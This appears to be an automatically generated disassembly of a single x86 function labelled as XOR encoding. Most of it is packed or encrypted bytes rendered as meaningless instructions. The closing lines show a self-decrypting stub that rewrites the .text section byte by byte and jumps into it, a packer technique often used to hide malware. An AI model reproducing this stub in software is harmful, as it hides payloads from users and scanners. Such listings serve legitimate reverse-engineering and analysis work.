Function at 0x40f3eb
Capabilities:
Encode data using xor

Disassembly:
sahf
jl 0x40f15b
jmp 0x40f134
xchg edx, eax
movsd dword es:[edi], dword [esi]
xor dl, byte [ecx + 0x4a4a4217]
sbb al, 0x91
psubq mm2, qword [edx + 0x52]
jle 0x40f177
std
xchg edx, eax
movsd dword es:[edi], dword [esi]
rcl byte [ecx + 0x4a4a428f], cl
sbb al, 0x91
xor al, 0xb5
push edx
push edx
sahf
cmp al, 0x31
xchg ecx, eax
movsd dword es:[edi], dword [esi]
mov esp, 0x507e5252
cmp eax, 0x912aa592
lea edi, [edx + 0x52]
push edx
sbb al, 0x4a
cli
invalid
jb 0x40f117
insb byte es:[edi], dx
push edx
xchg ecx, eax
push esp
movsd dword es:[edi], dword [esi]
push edx
push edx
jle 0x40f1b6
cmp eax, 0x9192a592
pop esp
jp 0x40f1c0
push edx
sbb al, 0x91
das
lea edx, [edx + 0x52]
jle 0x40f1c7
cmp eax, 0x919aa592
sar dword [edx + 0x52], cl
push edx
push edx
sbb al, 0xec
xchg ecx, eax
jl 0x40f107
push edx
push edx
sbb al, 0x7e
push eax
cmc
mov dl, ah
xchg ecx, eax
inc ebx
jp 0x40f1e3
push edx
sbb al, 0x91
xor ecx, dword [ebp + 0x3c765252]
das
cmc
or dl, 7
mov esp, 0xa56aa950
mov byte [0xa5d4dc1c], al
push edx
xchg ebp, eax
push edx
push edx
push esp
push edx
xchg ecx, eax
and dword [ebx + 0x5a], ebx
push edx
sahf
jl 0x40f228
jno 0x40f226
outsb dx, byte [esi]
cmp eax, 0x82fd5251
aam 0x91
popfd
mov dl, byte [edx + 0x52]
xchg ecx, eax
xchg byte [edx - 0x3c56adae], cl
scasb al, byte es:[edi]
jl 0x40f17e
push edx
test eax, 0xb17caec3
scasb al, byte es:[edi]
xchg edx, eax
scasb al, byte es:[edi]
lcall 0x91dc, 0xd4f0bc9e
aam 0xdc
xchg ecx, eax
cmpsb byte [esi], byte es:[edi]
jge 0x40f22c
push edx
push edx
sbb al, 0x1c
push 0xae917dae
scasb al, byte es:[edi]
jl 0x40f1d4
invalid
sahf
jl 0x40f258
outsb dx, byte [esi]
cmp eax, 0x82fd5251
aam 0x91
movsb byte es:[edi], byte [esi]
mov dl, byte [edx + 0x76]
xchg ecx, eax
jge 0x40f180
push edx
push edx
mov byte [ecx + esi + 0x42], bh
dec edx
dec edx
dec edx
scasb al, byte es:[edi]
jl 0x40f273
test eax, 0x5450ebea
push 0x88917dae
jl 0x40f23f
inc edx
dec edx
dec edx
dec edx
cmovp edx, dword [edx + 0x52]
push edx
xchg ecx, eax
jge 0x40f285
push edx
push edx
push 0x52ad0f91
push edx
xchg ecx, eax
shrd dword [edx + 0x52], edx, cl
cdq
add al, byte [edx + 0x4a]
dec edx
cld
scasb al, byte es:[edi]
mov cl, 0xdc
in al, dx
scasb al, byte es:[edi]
jl 0x40f1e1
outsb dx, byte [esi]
push eax
mov dl, 0x9e
jl 0x40f266
jne 0x40f1e5
cmp dl, byte [edx + 0x52]
push edx
push edx
scasb al, byte es:[edi]
push 0x75
push edx
push edx
push edx
push edx
scasb al, byte es:[edi]
jl 0x40f1d9
scasb al, byte es:[edi]
cmp al, 0xb2
scasb al, byte es:[edi]
mov ebp, 0x316dae31
dec edx
push ecx
sub al, 0x98
pushal
xchg edx, eax
push edx
adc al, 0x1c
invalid
sbb al, 0x8e
jb 0x40f2cf
dec edx
push ecx
cld
scasb al, byte es:[edi]
mov cl, 0xdc
fsub st(4), st(0)
add al, 0xc
jne 0x40f216
sti
push edx
push edx
push edx
push edx
sahf
std
xor dword [eax - 0x1e71ee84], ecx
mov fs, ecx
push esp
push edx
movsd dword es:[edi], dword [esi]
push edx
dec edx
std
mov dl, 0x4a
std
adc dword [edx - 3], ecx
xchg edx, eax
xchg ecx, eax
sbb eax, 0xae525a2a
pop edx
push edx
scasb al, byte es:[edi]
jl 0x40f23c
scasb al, byte es:[edi]
push esp
jb 0x40f2fc
push ecx
cmp dword [esi + 0x5c9eb2bc], ebp
jb 0x40f30c
scasb al, byte es:[edi]
cmp edx, dword [edx + 0x52]
push edx
push edx
scasb al, byte es:[edi]
cmp al, 0x31
sahf
sub esi, dword [ebp - 0x62]
cmp dl, byte [edx + 0x52]
push edx
push edx
dec ebp
inc ebp
sub al, 0x98
pushal
xchg edx, eax
push edx
cld
scasb al, byte es:[edi]
mov cl, 0x6e
mov cl, 0x92
in al, dx
add al, 0xc
xor dword [esi + 0x50eb317c], ebx
aam 0xd4
aam 0x4a
std
xor dword [edx - 3], ecx
dec edx
std
ror byte [edx - 3], cl
mov dl, 0x4a
std
xchg edx, eax
xchg ecx, eax
inc esp
or eax, 0x706e5252
push ebx
sahf
jl 0x40f2ed
dec ebp
inc ebp
sub al, 0xae
jl 0x40f2f3
scasb al, byte es:[edi]
jns 0x40f321
push 0xf5ae3104
jae 0x40f29e
scasb al, byte es:[edi]
les edx, [edx + 0x4591c0eb]
invalid
dec edx
add eax, 0x4a52a5b2
cmc
jae 0x40f378
dec edx
add eax, 0x73f54ad2
jae 0x40f29e
xchg ecx, eax
push 0xd
push edx
push edx
outsb dx, byte [esi]
jo 0x40f367
push ebx
inc ebp
push 0x6eb1aefc
mov cl, 0x13
in al, dx
pop esi
cmp eax, 0x525a6b92
pop edx
push edx
push edx
std
loop 0x40f336
dec eax
jmp 0xbcef4581
push edx
push edx
outsb dx, byte [esi]
jge 0x40f34b
push edx
mov byte [eax + esi - 0x57], bh
jmp 0x11984599
push edx
mov esi, 0x58eb10bc
sahf
mov esp, 0x9e58eb10
jmp 0x40f3a5
jl 0x40f3a1
scasb al, byte es:[edi]
jl 0x40f365
sahf
jl 0x40f3c7
scasb al, byte es:[edi]
jl 0x40f30b
sahf
jl 0x40f2ed
scasb al, byte es:[edi]
jl 0x40f391
sahf
jl 0x40f313
scasb al, byte es:[edi]
jl 0x40f3b8
sahf
jl 0x40f339
shr dword [esi + 0x7d], 1
int1
outsb dx, byte [esi]
jge 0x40f35c
push edx
outsb dx, byte [esi]
jge 0x40f380
adc dword [edx + 0x6e], edx
push edx
outsb dx, byte [esi]
jge 0x40f3a4
push edx
sahf
jge 0x40f368
sahf
mov ebp, 0x52577511
push edx
push edx
push edx
sahf
jl 0x40f393
mov esi, 0x6775107c
push edx
push edx
push edx
push edx
mov byte [eax + edx*4 + 0x5a], bh
push edx
push edx
push edx
scasb al, byte es:[edi]
jl 0x40f328
sahf
jl 0x40f349
scasb al, byte es:[edi]
jl 0x40f36e
sahf
jl 0x40f36f
xchg ecx, eax
push edx
jecxz 0x40f3f5
push edx
scasb al, byte es:[edi]
push esi
push esi
push edx
push edx
push edx
sahf
jl 0x40f39d
mov esi, 0xaed4b07c
jl 0x40f346
dec edx
ror dword [edx - 4], cl
invalid
cmp dl, byte [edx + 0x52]
push edx
push edx
scasb al, byte es:[edi]
push 0xffffffffffffffae
cmp al, 0x10
sahf
push 0x75
sahf
cmp dl, byte [edx + 0x52]
push edx
push edx
test eax, 0x107cae9a
jne 0x40f448
push edx
push edx
push edx
push edx
scasb al, byte es:[edi]
jl 0x40f378
sub al, 0x98
push 0xdcb1aefc
in al, dx
xor dword [esi - 0x6b514d84], ebp
xchg esp, eax
xchg edx, eax
jmp 0x40f3b5
xchg ecx, eax
cld
ror dword [edx + 0x4a], 1
scasb al, byte es:[edi]
jl 0x40f394
scasb al, byte es:[edi]
push esp
jb 0x40f474
push ecx
test ebp, esi
fisubr dword [esi + 0x5488b27c]
jae 0x40f46b
push edx
push edx
push edx
jmp 0x40f466
mov dl, 0x4a
aad 0xd2
dec edx
std
xchg edx, eax
xchg ecx, eax
loopne 0x40f43d
push edx
push edx
outsb dx, byte [esi]
jo 0x40f498
scasb al, byte es:[edi]
jl 0x40f3fa
outsb dx, byte [esi]
adc eax, 0xaafd5273
dec edx
std
xchg edx, eax
dec edx
std
mov dl, 0x91
jp 0x40f499
dec edx
dec edx
movsd dword es:[edi], dword [esi]
push edx
movsd dword es:[edi], dword [esi]
push edx
movsd dword es:[edi], dword [esi]
push edx
movsd dword es:[edi], dword [esi]
push edx
movsd dword es:[edi], dword [esi]
push edx
mov esi, 0x95d4317c
aam 0x95
imul ebx, dword [edx + 0x52], 0x52
push edx
xchg ecx, eax
ja 0x40f4b1
dec edx
dec edx
outsb dx, byte [esi]
jo 0x40f4a6
scasb al, byte es:[edi]
jl 0x40f4a8
scasb al, byte es:[edi]
cmp al, 0xb2
scasb al, byte es:[edi]
insd dword es:[edi], dx
xor ch, byte [esi + 0x514a53ad]
jmp 0x40f4d4
or eax, 0x317c9eb2
sahf
jl 0x40f4cc
scasb al, byte es:[edi]
inc ecx
test eax, 0x4a426ebb
std
jp 0x40f436
add eax, 0xbcae5252
add eax, 0xbcae5252
push edx
scasb al, byte es:[edi]
mov esp, 0x80aec431
lodsd eax, dword [esi]
push eax
xor esp, eax
scasb al, byte es:[edi]
sub byte [ebp + 0x586af250], 0xae
push 0x58
scasb al, byte es:[edi]
mov esp, 0x72941bd2
cmp eax, 0x92942b7a
inc esi
jp 0x40f530
inc edx
dec edx
std
lcall 0x923c, 0xaeb2bc4a
cmp al, 0x92
sahf
std
xchg edx, eax
outsb dx, byte [esi]
cmp eax, 0xa03d52b2
scasb al, byte es:[edi]
jl 0x40f4ca
mov al, byte [0x84f27cae]
sahf
shr dword [esi + 0x129e127c], cl
test byte [esi + 0x127caed3], bl
sahf
adc ch, byte [ebx]
dec ebp
mov dl, 0xd
jb 0x40f511
sub ecx, dword [ebp - 0x4e]
or eax, 0x5e92b72
jp 0x40f47b
jmp 0x4d26ef0
add al, 5
push edx
push edx
scasb al, byte es:[edi]
sub byte [ebp + 0x7c6af250], 0x31
dec ebp
inc ebp
sub al, 0x98
push 0x927374ae
add al, 0xae
cmc
jae 0x40f496
sahf
adc byte [ecx + 0x5252d31e], 0xae
push esi
push ss
push edx
push edx
push edx
sahf
test byte [edx - 0x6f], dh
scasb al, byte es:[edi]
rcl dword [edx + 0x52], cl
sahf
iretd
scasb al, byte es:[edi]
xchg edx, eax
sub esi, dword [ebx + esi*2 - 0x51650a8e]
push esp
jb 0x40f5ba
push eax
std
fst dword [eax + ebp*2 - 0x15]
push eax
push 0xd3249104
push edx
push edx
scasb al, byte es:[edi]
cmc
jae 0x40f4e0
sub ecx, edi
push ss
push edx
push edx
push edx
std
rcl byte [ecx + 0x5252d39c], cl
scasb al, byte es:[edi]
les esi, [edx - 0x62]
xchg esi, eax
push ss
push edx
push edx
push edx
inc ebp
push 0x52d31b91
push edx
scasb al, byte es:[edi]
push esi
push ss
push edx
push edx
push edx
test eax, 0x7294ae9a
sub ebx, ecx
cmc
jb 0x40f5a2
fprem1
ret 0x58ae
xchg ecx, eax
jmp 0x40f5fc
mov esp, 0xd17c9e92
scasb al, byte es:[edi]
jl 0x40f55f
sahf
jl 0x40f5a1
scasb al, byte es:[edi]
jl 0x40f5a5
push esp
mov byte [ecx + esi*4 - 0x7f], bh
loope 0x40f60e
push edx
sahf
mov esp, 0x317c9e11
jne 0x40f61a
push edx
push edx
push edx
push edx
sahf
jl 0x40f55b
mov esi, 0x6775917c
push edx
push edx
push edx
push edx
dec edx
std
adc bl, ah
dec edx
std
rcl byte [ecx + 0x5252fdd7], cl
scasb al, byte es:[edi]
nop
scasb al, byte es:[edi]
jl 0x40f575
jne 0x40f64d
push edx
push edx
push edx
push edx
scasb al, byte es:[edi]
pop eax
cwde
push 0xfb4a75d4
push edx
push edx
push edx
push edx
mov esi, 0xabb27374
jne 0x40f670
jae 0x40f5b0
mov dl, 0xec
in al, dx
add al, 0xc
sahf
xchg ebx, eax
scasb al, byte es:[edi]
xchg ecx, eax
push edi
adc dword [eax], ebp
push edx
jmp 0x40f684
std
xor dword [eax + 0x4a4a317c], ecx
dec edx
dec edx
mov esi, 0x6775f17c
jne 0x40f683
push edx
push edx
push edx
push edx
push 0xfb4a75d4
push edx
push edx
push edx
push edx
mov esi, 0xabb27374
jne 0x40f6a3
mov dl, 0xec
add al, 0xc
sahf
xchg ebx, eax
scasb al, byte es:[edi]
xchg ecx, eax
push edi
adc dword [eax], ebp
push edx
jmp 0x40f6b7
dec edx
dec edx
dec edx
mov esi, 0x6775f17c
push edx
push edx
push edx
push edx
push 0xfb4a75d4
push edx
push edx
push edx
push edx
mov esi, 0xabb27374
jne 0x40f6d9
mov dl, 0xec
add al, 0xc
sahf
xchg ebx, eax
scasb al, byte es:[edi]
xchg ecx, eax
push edi
adc dword [eax], ebp
push edx
jmp 0x40f6ed
sub byte [edx + edx*2 - 0x15], ah
js 0x40f64a
sahf
jl 0x40f64a
dec edx
std
xor dword [eax + 0x4a4a317c], ecx
dec edx
dec edx
mov esi, 0x6775f17c
jl 0x40f677
jne 0x40f6ef
push edx
push edx
push edx
push edx
push 0x75f1bcae
sahf
mov edx, 0x52525252
sbb al, 0x4d
dec ebp
inc ebp
sub al, 0xae
jns 0x40f6db
fsubr qword [eax - 0x52]
mov esp, 0x91b8ebd1
xchg edi, eax
mov ecx, 0x38994a4a
dec edx
dec edx
shr ebx, 1
mov eax, 0x4ab99791
dec edx
cdq
cmp byte [edx + 0x4a], cl
dec edx
xchg ecx, eax
mov byte [0x4a52523c], al
cmc
jae 0x40f72b
xchg ecx, eax
pop ebp
sub al, 0x52
push edx
dec edx
sti
jbe 0x40f6e2
push edx
xchg ecx, eax
fdiv dword [ebx + 0x4a955252]
push edx
push edx
xchg ebp, eax
dec edx
push edx
push edx
push edx
dec edx
shr byte [esi + 0x70], 1
mov dl, 0x68
xchg ebp, eax
jo 0x40f68c
push edx
dec edx
cli
mov dl, 0xe4
push edx
jle 0x40f731
cmc
add dl, byte [ebp + 0x5264b5ef]
aam 0x4a
cli
shl ah, cl
push edx
jle 0x40f741
cmc
or byte [edx - 0xb], 0x73
jb 0x40f742
shr byte [eax + 0x4a], 1
cmc
jae 0x40f770
xchg ecx, eax
fmul dword [edx + 0x4a]
dec edx
sbb al, 0x4a
cmc
jae 0x40f77a
jb 0x40f753
dec edx
cli
paddq mm4, qword [edx + edx*2 - 0x50]
movsd dword es:[edi], dword [esi]
xchg edx, eax
xchg ecx, eax
mov bh, 0xcc
push edx
push edx
sbb al, 0x68
movsd dword es:[edi], dword [esi]
xchg edx, eax
xchg ecx, eax
mov al, 0xc4
push edx
push edx
sbb al, 0x68
add al, 0xae
shr dword [ecx + 0x7e82aeaa], 1
push eax
cmc
bound ecx, qword [edx - 0x30]
outsb dx, byte [esi]
xor byte [edx + 0x2b], 0xf5
sub esi, ebp
jae 0x40f6c7
in eax, 0xc9
inc ebp
push 0x73f5ae04
xchg edx, eax
jmp 0x40f790
retf 0x507e
jle 0x40f794
std
fisubr dword [esi - 0xa67813e]
bound ecx, qword [edx - 0x28]
outsb dx, byte [esi]
xor byte [edx + 0x2b], 0xf5
jae 0x40f707
in eax, 0xa9
inc ebp
push 0x7273b4ae
add al, 0xeb
add dword [ebx], ebp
sar ch, 0x3a
xchg ecx, eax
js 0x40f7d1
push edx
push edx
add al, 4
add al, 4
add al, 0x88
push edx
mov byte [edx + 2], dl
push edx
push edx
add dl, byte [edx + 0x52]
push edx
xchg ecx, eax
mov edi, 0x6e52524c
jo 0x40f76e
movsd dword es:[edi], dword [esi]
add dl, byte [eax*2 - 0x450da898]
insb byte es:[edi], dx
push edx
sub eax, dword [eax + 0x5a9e20f5]
jmp 0x40f7de
scasb al, byte es:[edi]
je 0x40f806
jb 0x40f799
add al, 0xeb
add dword [ebx], ebp
jmp 0x40f798
cmp ch, 0x3a
xchg ecx, eax
invalid
std
cmp dl, byte [ecx + 0x52526ac6]
add al, 4
add al, 4
add al, 0x88
push edx
add dl, byte [edx + 0x52]
mov byte [edx + 2], dl
push edx
push edx
push edx
xchg ecx, eax
or eax, 0x6e52524c
jo 0x40f7a5
movsd dword es:[edi], dword [esi]
add dl, byte [eax*2 - 0xd04e498]
mov edx, 0x28f5526c
scasb al, byte es:[edi]
mov edx, 0x526cba53
sahf
xchg edx, eax
jmp 0x40f81a
push edx
push edx
cmc
and dl, byte [ebp + 0x5264b5d1]
xchg ecx, eax
out dx, al
cmc
push edx
push edx
jle 0x40f831
sbb al, 0xf5
stosb byte es:[edi], al
dec edx
cmc
jae 0x40f85a
dec edx
cli
sal dword [ebp - 0x6ee3ad9c], 1
xchg ecx, eax
in eax, dx
push edx
push edx
xchg ebp, eax
nop
hlt
sbb al, 0xfd
hlt
scasb al, byte es:[edi]
or byte [eax - 0x71], 0xf4
push edx
sub ecx, dword [eax - 0x513512e4]
cmp byte [esi + 0x50], 0xf5
bound ecx, qword [edx - 0x30]
outsb dx, byte [esi]
xor byte [edx + 0x2b], 9
sub ecx, dword [ecx]
in eax, 0xd9
outsb dx, byte [esi]
cmp esi, ebp
mov dword [0x4d52526c], eax
inc ebp
cmc
sub dl, byte [ebp + 0x526ca3f5]
xchg ecx, eax
xchg ebx, eax
cmc
push edx
push edx
jle 0x40f89c
sbb al, 0xf5
mov dl, 0xa5
push edx
movsd dword es:[edi], dword [esi]
bound esp, qword [ebp - 0xa05b5ae]
mov dword [0x50eb526c], eax
push 0x5195b2a5
mov bh, 0x64
push edx
xchg ecx, eax
loopne 0x40f89a
push edx
jmp 0x40f8ad
push edx
push edx
movsd dword es:[edi], dword [esi]
xchg edx, eax
xchg ecx, eax
in al, 0xc4
push edx
push edx
sbb al, 0x6e
jge 0x40f8a6
push edx
jmp 0x40f879
sbb edi, ebx
hlt
push edx
xchg ecx, eax
and dword [ebx + 0x11ae5252], esp
dec edx
sti
xchg ebp, eax
mov dword [0xb991526c], eax
mov dword [0x1c1c5252], eax
insb byte es:[edi], dx
push edx
xchg ecx, eax
mov ecx, 0x1c5252a3
sbb al, 0x9e
sbb al, 0x1c
sahf
jl 0x40f923
jle 0x40f8fe
cmc
add ch, byte [esi - 0x43]
jno 0x40f92c
sbb edi, dword [0xaebae571]
jl 0x40f933
scasb al, byte es:[edi]
push edx
jle 0x40f916
cmc
ror dword [edx - 0x30], 0xa9
mov eax, dword [0x64f41095]
push edx
cmpxchg ah, dh
push edx
xchg ecx, eax
test byte [edx + 0x4a], al
dec edx
sbb al, 0x95
jno 0x40f8d3
hlt
push edx
wrmsr
hlt
xchg ecx, eax
add eax, dword [edx + 0x4a]
dec edx
sbb al, 0x88
jl 0x40f920
xor dword [edx + 0x4a], eax
inc edx
dec edx
dec edx
dec edx
xchg ecx, eax
dec ebx
push edx
push edx
push edx
outsb dx, byte [esi]
cmp eax, 0x93fd52d2
sahf
sti
hlt
xchg edx, eax
xchg ecx, eax
cmp dword [ecx], 0x1eb4a4a
test byte [esi + 0x3d], ch
rcl byte [edx - 0xb], cl
xchg edx, eax
movsd dword es:[edi], dword [esi]
xchg edx, eax
xchg ecx, eax
mov byte [edx + edx*2 - 0x6e97e3ae], dh
push edx
sbb al, 0x68
xchg ecx, eax
add al, 0x32
push edx
push edx
push 0x52a552a5
movsd dword es:[edi], dword [esi]
push edx
movsd dword es:[edi], dword [esi]
push edx
dec edx
cmc
jae 0x40f8e6
mov dl, 0x91
xchg ecx, eax
jnp 0x40f981
dec edx
dec edx
outsb dx, byte [esi]
jo 0x40f8ee
push 0x5aa552a5
dec edx
cmc
jae 0x40f8f7
xchg ecx, eax
dec edx
dec edx
dec edx
outsb dx, byte [esi]
jo 0x40f8ff
push 0x52a55aa5
movsd dword es:[edi], dword [esi]
push edx
xchg ecx, eax
jp 0x40f9a1
dec edx
dec edx
outsb dx, byte [esi]
jo 0x40f90e
push 0x5aa55aa5
movsd dword es:[edi], dword [esi]
push edx
xchg ecx, eax
add dword [edx + 0x4a], eax
dec edx
outsb dx, byte [esi]
jo 0x40f91d
push 0xa34b9104
push edx
push edx
scasb al, byte es:[edi]
rol dword [ecx + edx*4], 1
sbb eax, 0x4525214
xchg ecx, eax
xor eax, 0x45252fd
xchg ecx, eax
xor edx, dword cs:[edx + 0x52]
add al, 0x91
xchg ecx, eax
test ebp, edi
push edx
push edx
add al, 0x91
add al, 0xfd
push edx
push edx
add al, 0x91
test ch, ch
push edx
push edx
add al, 0x91
push ebx
test byte [edx + 0x4a], cl
add al, 0x91
or ch, bl
push edx
push edx
fst qword [edx + 0x52]
xchg ebp, eax
cmp ebx, dword [ecx]
push esp
push edx
xchg ecx, eax
push esi
wait
push edx
push edx
outsb dx, byte [esi]
jo 0x40fa24
jbe 0x40f9d4
push edx
inc ebp
push 0x7273b4ae
in al, dx
jmp 0x40f9e7
inc ebp
sahf
shr esp, cl
in al, dx
in al, dx
in al, dx
in al, dx
xchg ecx, eax
test byte [ebx], bh
push edx
push edx
outsb dx, byte [esi]
jo 0x40f9d6
scasb al, byte es:[edi]
sub byte [ecx + 0x73f5aedb], 0x12
sub ebp, ecx
std
jb 0x40f987
fld xword [esi + 0x2b1273f5]
jmp 0x1ad76cef
sbb ch, byte [ecx - 0x592751e8]
adc byte [esi + 0x23846462], 0x68
cmc
push 0xffffffffffffffcc
std
jmp 0xd33e2332
jmp 0x40fa69
inc ebp
sub al, 0x68
cld
scasb al, byte es:[edi]
mov cl, 4
scasb al, byte es:[edi]
std
or al, 0xeb
or al, 0xeb
dec edx
sub ecx, dword [ecx]
std
jb 0x40fa17
jmp 0x40fa7d
push eax
test eax, 0x923d1b7d
std
sub dl, byte [ecx + 0x525252f9]
movsd dword es:[edi], dword [esi]
add al, byte [ebp - 0x62]
ror dword [esp + ecx], cl
or al, 0xc
or al, 0x91
dec ecx
xor edx, dword [edx + 0x52]
outsb dx, byte [esi]
jo 0x40fa3d
scasb al, byte es:[edi]
sub byte [ecx - 0x2dc2e484], 0xf5
add bl, byte [ebx]
std
mov dl, 0xe5
fiadd dword [edx + ecx*2]
std
ror byte [edx - 3], cl
xchg edx, eax
xchg ecx, eax
sbb al, 0x52
push edx
outsb dx, byte [esi]
jo 0x40fa1a
test eax, 0xb2fd4a58
or al, 0x4a
pop eax
dec edx
std
mov dl, 0xc
dec edx
std
xchg edx, eax
xchg ecx, eax
mov byte [0x6e52525a], al
jo 0x40fa2b
sbb edi, dword [0x1bfff5d2]
call [ebx]
std
mov dl, 0xed
ret 0x7f91
pushal
mov esi, 0
mov dh, byte [esi + section..text]
add dh, 0x48
add dh, 0x79
rol dh, 0xfd
sub dh, 0x62
mov byte [esi + section..text], dh
add esi, 1
cmp esi, 0x2319b
jne 0x4241a1
popal
jmp 0x40f21d